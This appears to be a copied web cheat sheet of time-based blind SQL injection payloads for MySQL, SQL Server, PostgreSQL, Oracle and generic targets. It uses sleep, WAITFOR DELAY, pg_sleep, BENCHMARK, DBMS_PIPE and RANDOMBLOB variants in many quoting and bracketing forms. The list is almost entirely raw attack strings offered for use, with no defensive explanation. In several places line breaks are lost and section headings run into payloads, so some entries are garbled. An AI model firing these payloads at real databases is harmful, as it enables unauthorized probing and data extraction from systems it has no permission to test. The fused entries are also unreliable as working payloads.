🔎Blind SQL Injection Detection and Exploitation (Cheat Sheet)

source: https://ansar0047.medium.com/blind-sql-injection-detection-and-exploitation-cheatsheet-17995a98fed1

Payload list:

MySQL Blind (Time Based):

0'XOR(if(now()=sysdate(),sleep(5),0))XOR'Z
0'XOR(if(now()=sysdate(),sleep(5*1),0))XOR'Z
if(now()=sysdate(),sleep(5),0)
'XOR(if(now()=sysdate(),sleep(5),0))XOR'
'XOR(if(now()=sysdate(),sleep(5*1),0))OR'
0'|(IF((now())LIKE(sysdate()),SLEEP(1),0))|'Z
0'or(now()=sysdate()&&SLEEP(1))or'Zif(now()=sysdate(),sleep(5),0)/"XOR(if(now()=sysdate(),sleep(5),0))OR"/if(now()=sysdate(),sleep(5),0)/*'XOR(if(now()=sysdate(),sleep(5),0))OR'"XOR(if(now()=sysdate(),sleep(5),0))OR"*/if(now()=sysdate(),sleep(5),0)/'XOR(if(now()=sysdate(),sleep(5),0))OR'"XOR(if(now()=sysdate(),sleep(5),0) and 5=5)"/if(1=1,sleep(5),0)/*'XOR(if(1=1,sleep(5),0))OR'"XOR(if(1=1,sleep(5),0))OR"*/if(1337=1337,exp(~(1)),0)/*'XOR(if(1337=1337,exp(~(1)),0))OR'"XOR(if(1337=1337,sleep(5),0))OR"*/SLEEP(5)/*' or SLEEP(5) or '" or SLEEP(5) or "*/%2c(select%5*%5from%5(select(sleep(5)))a)
(select(0)from(select(sleep(5)))v)
(SELECT SLEEP(5))
'%2b(select*from(select(sleep(5)))a)%2b'
(select*from(select(sleep(5)))a)
1'%2b(select*from(select(sleep(5)))a)%2b'
,(select * from (select(sleep(5)))a)
desc%2c(select*from(select(sleep(5)))a)
-1+or+1%3d((SELECT+1+FROM+(SELECT+SLEEP(5))A))
-1+or+1=((SELECT+1+FROM+(SELECT+SLEEP(5))A))(SELECT * FROM (SELECT(SLEEP(5)))YYYY)(SELECT * FROM (SELECT(SLEEP(5)))YYYY)#(SELECT * FROM (SELECT(SLEEP(5)))YYYY)--'+(select*from(select(sleep(5)))a)+'(select(0)from(select(sleep(5)))v)%2f'+(select(0)from(select(sleep(5)))v)+'"(select(0)from(select(sleep(5)))v)%2f*'+(select(0)from(select(sleep(5)))v)+'"+(select(0)from(select(sleep(5)))v)+"*%2f(select(0)from(select(sleep(5)))v)/*'+(select(0)from(select(sleep(5)))v)+'"+(select(0)from(select(sleep(5)))v)+"*/',''),/*test*/%26%26%09sLeEp(5)%09--+AND BLIND:1 and sleep 5--
1 and sleep 5
1 and sleep(5)--
1 and sleep(5)
' and sleep 5--
' and sleep 5
' and sleep 5 and '1'='1
' and sleep(5) and '1'='1
' and sleep(5)--
' and sleep(5)
' AnD SLEEP(5) ANd '1
and sleep 5--
and sleep 5
and sleep(5)--
and sleep(5)
and SELECT SLEEP(5); #
AnD SLEEP(5)
AnD SLEEP(5)--
AnD SLEEP(5)#
 and sleep 5--
 and sleep 5
 and sleep(5)--
 and sleep(5)
 and SELECT SLEEP(5); #
' AND SLEEP(5)#
" AND SLEEP(5)#
') AND SLEEP(5)#OR BLIND:or sleep 5--
or sleep 5
or sleep(5)--
or sleep(5)
or SELECT SLEEP(5); #
or SLEEP(5)
or SLEEP(5)#
or SLEEP(5)--
or SLEEP(5)="
or SLEEP(5)='
 or sleep 5--
 or sleep 5
 or sleep(5)--
 or sleep(5)
 or SELECT SLEEP(5); #
' OR SLEEP(5)#
" OR SLEEP(5)#
') OR SLEEP(5)#
You can replace AND / OR1 AND (SELECT 1337 FROM (SELECT(SLEEP(5)))YYYY)
1 AND (SELECT 1337 FROM (SELECT(SLEEP(5)))YYYY) AND (1337=1337
1 AND (SELECT 1337 FROM (SELECT(SLEEP(5)))YYYY)-- 1337
' AND (SELECT 1337 FROM (SELECT(SLEEP(5)))YYYY) AND '1337'='1337
') AND (SELECT 1337 FROM (SELECT(SLEEP(5)))YYYY) AND ('PBiy'='PBiy
) AND (SELECT 1337 FROM (SELECT(SLEEP(5)))YYYY)-- 1337
) AND (SELECT 1337 FROM (SELECT(SLEEP(5)))YYYY) AND (1337=1337
)) AND (SELECT 1337 FROM (SELECT(SLEEP(5)))YYYY) AND ((1337=1337
))) AND (SELECT 1337 FROM (SELECT(SLEEP(5)))YYYY) AND (((1337=1337
1 AND (SELECT 1337 FROM (SELECT(SLEEP(5)))YYYY)# 1337
) WHERE 1337=1337 AND (SELECT 1337 FROM (SELECT(SLEEP(5)))YYYY)-- 1337
1 WHERE 1337=1337 AND (SELECT 1337 FROM (SELECT(SLEEP(5)))YYYY)-- 1337
+(SELECT 1337 WHERE 1337=1337 AND (SELECT 1337 FROM (SELECT(SLEEP(5)))YYYY))+
)) AS 1337 WHERE 1337=1337 AND (SELECT 1337 FROM (SELECT(SLEEP(5)))YYYY)-- 1337
) AS 1337 WHERE 1337=1337 AND (SELECT 1337 FROM (SELECT(SLEEP(5)))YYYY)-- 1337
` WHERE 1337=1337 AND (SELECT 1337 FROM (SELECT(SLEEP(5)))YYYY)-- 1337
`) WHERE 1337=1337 AND (SELECT 1337 FROM (SELECT(SLEEP(5)))YYYY)-- 1337
`=`1` AND (SELECT 1337 FROM (SELECT(SLEEP(5)))YYYY) AND `1`=`1
]-(SELECT 0 WHERE 1337=1337 AND (SELECT 1337 FROM (SELECT(SLEEP(5)))YYYY))|[1
') AND (SELECT 1337 FROM (SELECT(SLEEP(5)))YYYY)-- 1337
' AND (SELECT 1337 FROM (SELECT(SLEEP(5)))YYYY)-- 1337
" AND (SELECT 1337 FROM (SELECT(SLEEP(5)))YYYY)-- 1337
') AND (SELECT 1337 FROM (SELECT(SLEEP(5)))YYYY) AND ('1337'='1337
')) AND (SELECT 1337 FROM (SELECT(SLEEP(5)))YYYY) AND (('1337'='1337
'))) AND (SELECT 1337 FROM (SELECT(SLEEP(5)))YYYY) AND ((('1337'='1337
' AND (SELECT 3122 FROM (SELECT(SLEEP(5)))YYYY) AND '1337'='1337
') AND (SELECT 4796 FROM (SELECT(SLEEP(5)))YYYY) AND ('1337'='1337
')) AND (SELECT 1337 FROM (SELECT(SLEEP(5)))YYYY) AND (('1337' LIKE '1337
'))) AND (SELECT 1337 FROM (SELECT(SLEEP(5)))YYYY) AND ((('1337' LIKE '1337
%' AND (SELECT 1337 FROM (SELECT(SLEEP(5)))YYYY) AND '1337%'='1337
' AND (SELECT 1337 FROM (SELECT(SLEEP(5)))YYYY) AND '1337' LIKE '1337
") AND (SELECT 1337 FROM (SELECT(SLEEP(5)))YYYY) AND ("1337"="1337
")) AND (SELECT 1337 FROM (SELECT(SLEEP(5)))YYYY) AND (("1337"="1337
"))) AND (SELECT 1337 FROM (SELECT(SLEEP(5)))YYYY) AND ((("1337"="1337
" AND (SELECT 1337 FROM (SELECT(SLEEP(5)))YYYY) AND "1337"="1337
") AND (SELECT 1337 FROM (SELECT(SLEEP(5)))YYYY) AND ("1337" LIKE "1337
")) AND (SELECT 1337 FROM (SELECT(SLEEP(5)))YYYY) AND (("1337" LIKE "1337
"))) AND (SELECT 1337 FROM (SELECT(SLEEP(5)))YYYY) AND ((("1337" LIKE "1337
" AND (SELECT 1337 FROM (SELECT(SLEEP(5)))YYYY) AND "1337" LIKE "1337
' AND (SELECT 1337 FROM (SELECT(SLEEP(5)))YYYY) OR '1337'='1337
') WHERE 1337=1337 AND (SELECT 1337 FROM (SELECT(SLEEP(5)))YYYY)-- 1337
") WHERE 1337=1337 AND (SELECT 1337 FROM (SELECT(SLEEP(5)))YYYY)-- 1337RLIKE BLIND:You can replace AND / ORRLIKE SLEEP(5)--
' RLIKE SLEEP(5)--
' RLIKE SLEEP(5)-- 1337
" RLIKE SLEEP(5)-- 1337
') RLIKE SLEEP(5)-- 1337
') RLIKE SLEEP(5) AND ('1337'='1337
')) RLIKE SLEEP(5) AND (('1337'='1337
'))) RLIKE SLEEP(5) AND ((('1337'='1337
) RLIKE SLEEP(5)-- 1337
) RLIKE SLEEP(5) AND (1337=1337
)) RLIKE SLEEP(5) AND ((1337=1337
))) RLIKE SLEEP(5) AND (((1337=1337
1 RLIKE SLEEP(5)
1 RLIKE SLEEP(5)-- 1337
1 RLIKE SLEEP(5)# 1337
) WHERE 1337=1337 RLIKE SLEEP(5)-- 1337
1 WHERE 1337=1337 RLIKE SLEEP(5)-- 1337
+(SELECT 1337 WHERE 1337=1337 RLIKE SLEEP(5))+
)) AS 1337 WHERE 1337=1337 RLIKE SLEEP(5)-- 1337
) AS 1337 WHERE 1337=1337 RLIKE SLEEP(5)-- 1337
` WHERE 1337=1337 RLIKE SLEEP(5)-- 1337
`) WHERE 1337=1337 RLIKE SLEEP(5)-- 1337
' RLIKE SLEEP(5) AND '1337'='1337
') RLIKE SLEEP(5) AND ('1337' LIKE '1337
')) RLIKE SLEEP(5) AND (('1337' LIKE '1337
'))) RLIKE SLEEP(5) AND ((('1337' LIKE '1337
%' RLIKE SLEEP(5) AND '1337%'='1337
' RLIKE SLEEP(5) AND '1337' LIKE '1337
") RLIKE SLEEP(5) AND ("1337"="1337
")) RLIKE SLEEP(5) AND (("1337"="1337
"))) RLIKE SLEEP(5) AND ((("1337"="1337
" RLIKE SLEEP(5) AND "1337"="1337
") RLIKE SLEEP(5) AND ("1337" LIKE "1337
")) RLIKE SLEEP(5) AND (("1337" LIKE "1337
"))) RLIKE SLEEP(5) AND ((("1337" LIKE "1337
" RLIKE SLEEP(5) AND "1337" LIKE "1337
' RLIKE SLEEP(5) OR '1337'='1337
') WHERE 1337=1337 RLIKE SLEEP(5)-- 1337
") WHERE 1337=1337 RLIKE SLEEP(5)-- 1337
' WHERE 1337=1337 RLIKE SLEEP(5)-- 1337
" WHERE 1337=1337 RLIKE SLEEP(5)-- 1337
ELT Blind:You can replace AND / OR' AND ELT(1337=1337,SLEEP(5))--
' AND ELT(1337=1337,SLEEP(5))-- 1337
" AND ELT(1337=1337,SLEEP(5))-- 1337
') AND ELT(1337=1337,SLEEP(5))-- 1337
') AND ELT(1337=1337,SLEEP(5)) AND ('1337'='1337
')) AND ELT(1337=1337,SLEEP(5)) AND (('1337'='1337
'))) AND ELT(1337=1337,SLEEP(5)) AND ((('1337'='1337
' AND ELT(1337=1337,SLEEP(5)) AND '1337'='1337
') AND ELT(1337=1337,SLEEP(5)) AND ('1337' LIKE '1337
')) AND ELT(1337=1337,SLEEP(5)) AND (('1337' LIKE '1337
'))) AND ELT(1337=1337,SLEEP(5)) AND ((('1337' LIKE '1337
) AND ELT(1337=1337,SLEEP(5))-- 1337
) AND ELT(1337=1337,SLEEP(5)) AND (1337=1337
)) AND ELT(1337=1337,SLEEP(5)) AND ((1337=1337
))) AND ELT(1337=1337,SLEEP(5)) AND (((1337=1337
1 AND ELT(1337=1337,SLEEP(5))
1 AND ELT(1337=1337,SLEEP(5))-- 1337
1 AND ELT(1337=1337,SLEEP(5))# 1337
) WHERE 1337=1337 AND ELT(1337=1337,SLEEP(5))-- 1337
1 WHERE 1337=1337 AND ELT(1337=1337,SLEEP(5))-- 1337
+(SELECT 1337 WHERE 1337=1337 AND ELT(1337=1337,SLEEP(5)))+
)) AS 1337 WHERE 1337=1337 AND ELT(1337=1337,SLEEP(5))-- 1337
) AS 1337 WHERE 1337=1337 AND ELT(1337=1337,SLEEP(5))-- 1337
` WHERE 1337=1337 AND ELT(1337=1337,SLEEP(5))-- 1337
`) WHERE 1337=1337 AND ELT(1337=1337,SLEEP(5))-- 1337
1`=`1` AND ELT(1337=1337,SLEEP(5)) AND `1`=`1
]-(SELECT 0 WHERE 1337=1337 AND ELT(1337=1337,SLEEP(5)))|[1
%' AND ELT(1337=1337,SLEEP(5)) AND '1337%'='1337
' AND ELT(1337=1337,SLEEP(5)) AND '1337' LIKE '1337
") AND ELT(1337=1337,SLEEP(5)) AND ("1337"="1337
")) AND ELT(1337=1337,SLEEP(5)) AND (("1337"="1337
"))) AND ELT(1337=1337,SLEEP(5)) AND ((("1337"="1337
" AND ELT(1337=1337,SLEEP(5)) AND "1337"="1337
") AND ELT(1337=1337,SLEEP(5)) AND ("1337" LIKE "1337
")) AND ELT(1337=1337,SLEEP(5)) AND (("1337" LIKE "1337
"))) AND ELT(1337=1337,SLEEP(5)) AND ((("1337" LIKE "1337
" AND ELT(1337=1337,SLEEP(5)) AND "1337" LIKE "1337
' AND ELT(1337=1337,SLEEP(5)) OR '1337'='FMTE
') WHERE 1337=1337 AND ELT(1337=1337,SLEEP(5))-- 1337
") WHERE 1337=1337 AND ELT(1337=1337,SLEEP(5))-- 1337
' WHERE 1337=1337 AND ELT(1337=1337,SLEEP(5))-- 1337
" WHERE 1337=1337 AND ELT(1337=1337,SLEEP(5))-- 1337
'||(SELECT 0x4c454f67 WHERE 1337=1337 AND ELT(1337=1337,SLEEP(5)))||'
'||(SELECT 0x727a5277 FROM DUAL WHERE 1337=1337 AND ELT(1337=1337,SLEEP(5)))||'
'+(SELECT 0x4b6b486c WHERE 1337=1337 AND ELT(1337=1337,SLEEP(5)))+'
||(SELECT 0x57556971 FROM DUAL WHERE 1337=1337 AND ELT(1337=1337,SLEEP(5)))||
||(SELECT 0x67664847 WHERE 1337=1337 AND ELT(1337=1337,SLEEP(5)))||
+(SELECT 0x74764164 WHERE 1337=1337 AND ELT(1337=1337,SLEEP(5)))+
')) AS 1337 WHERE 1337=1337 AND ELT(1337=1337,SLEEP(5))-- 1337
")) AS 1337 WHERE 1337=1337 AND ELT(1337=1337,SLEEP(5))-- 1337
') AS 1337 WHERE 1337=1337 AND ELT(1337=1337,SLEEP(5))-- 1337
") AS 1337 WHERE 1337=1337 AND ELT(1337=1337,SLEEP(5))-- 1337
BENCHMARK:You can replace AND / OR' AND 1337=BENCHMARK(5000000,MD5(0x774c5341))--
' AND 1337=BENCHMARK(5000000,MD5(0x774c5341))-- 1337
" AND 1337=BENCHMARK(5000000,MD5(0x774c5341))-- 1337
') AND =BENCHMARK(5000000,MD5(0x774c5341))--
') AND 1337=BENCHMARK(5000000,MD5(0x774c5341))-- 1337
') AND 1337=BENCHMARK(5000000,MD5(0x774c5341)) AND ('1337'='1337
')) AND 1337=BENCHMARK(5000000,MD5(0x774c5341)) AND (('1337'='1337
'))) AND 1337=BENCHMARK(5000000,MD5(0x774c5341)) AND ((('1337'='1337
' AND 1337=BENCHMARK(5000000,MD5(0x774c5341)) AND '1337'='1337
') AND 1337=BENCHMARK(5000000,MD5(0x774c5341)) AND ('1337' LIKE '1337
')) AND 1337=BENCHMARK(5000000,MD5(0x774c5341)) AND (('1337' LIKE '1337
'))) AND 1337=BENCHMARK(5000000,MD5(0x774c5341)) AND ((('1337' LIKE '1337
%' AND 1337=BENCHMARK(5000000,MD5(0x774c5341)) AND '1337%'='1337
' AND 1337=BENCHMARK(5000000,MD5(0x774c5341)) AND '1337' LIKE '1337
") AND 1337=BENCHMARK(5000000,MD5(0x774c5341)) AND ("1337"="1337
")) AND 1337=BENCHMARK(5000000,MD5(0x774c5341)) AND (("1337"="1337
"))) AND 1337=BENCHMARK(5000000,MD5(0x774c5341)) AND ((("1337"="1337
" AND 1337=BENCHMARK(5000000,MD5(0x774c5341)) AND "1337"="1337
") AND 1337=BENCHMARK(5000000,MD5(0x774c5341)) AND ("1337" LIKE "1337
")) AND 1337=BENCHMARK(5000000,MD5(0x774c5341)) AND (("1337" LIKE "1337
"))) AND 1337=BENCHMARK(5000000,MD5(0x774c5341)) AND ((("1337" LIKE "1337
" AND 1337=BENCHMARK(5000000,MD5(0x576e7a57)) AND "1337" LIKE "1337
' AND 1337=BENCHMARK(5000000,MD5(0x576e7a57)) AND '1337'='1337

Microsoft SQL Server Blind (Time Based):

;waitfor delay '0:0:5'--
';WAITFOR DELAY '0:0:5'--
);waitfor delay '0:0:5'--
';waitfor delay '0:0:5'--
";waitfor delay '0:0:5'--
');waitfor delay '0:0:5'--
");waitfor delay '0:0:5'--
));waitfor delay '0:0:5'--
'));waitfor delay '0:0:5'--
"));waitfor delay '0:0:5'--
") IF (1=1) WAITFOR DELAY '0:0:5'--
';%5waitfor%5delay%5'0:0:5'%5--%5
' WAITFOR DELAY '0:0:5'--
' WAITFOR DELAY '0:0:5'
or WAITFOR DELAY '0:0:5'--
or WAITFOR DELAY '0:0:5'
and WAITFOR DELAY '0:0:5'--
and WAITFOR DELAY '0:0:5'
WAITFOR DELAY '0:0:5'
;WAITFOR DELAY '0:0:5'--
;WAITFOR DELAY '0:0:5'
1 WAITFOR DELAY '0:0:5'--
1 WAITFOR DELAY '0:0:5'
1 WAITFOR DELAY '0:0:5'-- 1337
1' WAITFOR DELAY '0:0:5' AND '1337'='1337
1') WAITFOR DELAY '0:0:5' AND ('1337'='1337
1) WAITFOR DELAY '0:0:5' AND (1337=1337
') WAITFOR DELAY '0:0:5'--
" WAITFOR DELAY '0:0:5'--
')) WAITFOR DELAY '0:0:5'--
'))) WAITFOR DELAY '0:0:5'--
%' WAITFOR DELAY '0:0:5'--
") WAITFOR DELAY '0:0:5'--
")) WAITFOR DELAY '0:0:5'--
"))) WAITFOR DELAY '0:0:5'--

Postgresql Blind (Time Based):

";SELECT pg_sleep(5);
;SELECT pg_sleep(5);
and SELECT pg_sleep(5);
1 SELECT pg_sleep(5);
or SELECT pg_sleep(5);
(SELECT pg_sleep(5))
pg_sleep(5)--
1 or pg_sleep(5)--
" or pg_sleep(5)--
' or pg_sleep(5)--
1) or pg_sleep(5)--
") or pg_sleep(5)--
') or pg_sleep(5)--
1)) or pg_sleep(5)--
")) or pg_sleep(5)--
')) or pg_sleep(5)--
pg_SLEEP(5)
pg_SLEEP(5)--
pg_SLEEP(5)#
or pg_SLEEP(5)
or pg_SLEEP(5)--
or pg_SLEEP(5)#
' SELECT pg_sleep(5);
or SELECT pg_sleep(5);
' SELECT pg_sleep(5);
1 AND 1337=(SELECT 1337 FROM PG_SLEEP(5))
1 AND 1337=(SELECT 1337 FROM PG_SLEEP(5))-- 1337
1' AND 1337=(SELECT 1337 FROM PG_SLEEP(5)) AND '1337'='1337
1') AND 1337=(SELECT 1337 FROM PG_SLEEP(5)) AND ('1337'='1337
1) AND 1337=(SELECT 1337 FROM PG_SLEEP(5)) AND (1337=1337

Oracle Blind (Time Based):

You can replace AND / OR

1 AND 1337=DBMS_PIPE.RECEIVE_MESSAGE(CHR(118)||CHR(71)||CHR(73)||CHR(86),5)1 AND 1337=DBMS_PIPE.RECEIVE_MESSAGE(CHR(118)||CHR(71)||CHR(73)||CHR(86),5)-- 1337' AND 1337=DBMS_PIPE.RECEIVE_MESSAGE(CHR(118)||CHR(71)||CHR(73)||CHR(86),5) AND '1337'='1337') AND 1337=DBMS_PIPE.RECEIVE_MESSAGE(CHR(118)||CHR(71)||CHR(73)||CHR(86),5) AND ('1337'='1337) AND 1337=DBMS_PIPE.RECEIVE_MESSAGE(CHR(118)||CHR(71)||CHR(73)||CHR(86),5) AND (1337=1337

Generic Time Based SQL Injection Payloads:

sleep(5)#
(sleep 5)--
(sleep 5)
(sleep(5))--
(sleep(5))
-sleep(5)
SLEEP(5)#
SLEEP(5)--
SLEEP(5)="
SLEEP(5)='
";sleep 5--
";sleep 5
";sleep(5)--
";sleep(5)
";SELECT SLEEP(5); #
1 SELECT SLEEP(5); #
+ SLEEP(5) + '
&&SLEEP(5)
&&SLEEP(5)--
&&SLEEP(5)#
;sleep 5--
;sleep 5
;sleep(5)--
;sleep(5)
;SELECT SLEEP(5); #
'&&SLEEP(5)&&'1
' SELECT SLEEP(5); #
benchmark(50000000,MD5(1))
benchmark(50000000,MD5(1))--
benchmark(50000000,MD5(1))#
or benchmark(50000000,MD5(1))
or benchmark(50000000,MD5(1))--
or benchmark(50000000,MD5(1))#
ORDER BY SLEEP(5)
ORDER BY SLEEP(5)--
ORDER BY SLEEP(5)#
AND (SELECT 1337 FROM (SELECT(SLEEP(5)))YYYY)-- 1337
OR (SELECT 1337 FROM (SELECT(SLEEP(5)))YYYY)-- 1337
RANDOMBLOB(500000000/2)
AND 1337=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(500000000/2))))
OR 1337=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(500000000/2))))
RANDOMBLOB(1000000000/2)
AND 1337=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))
OR 1337=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))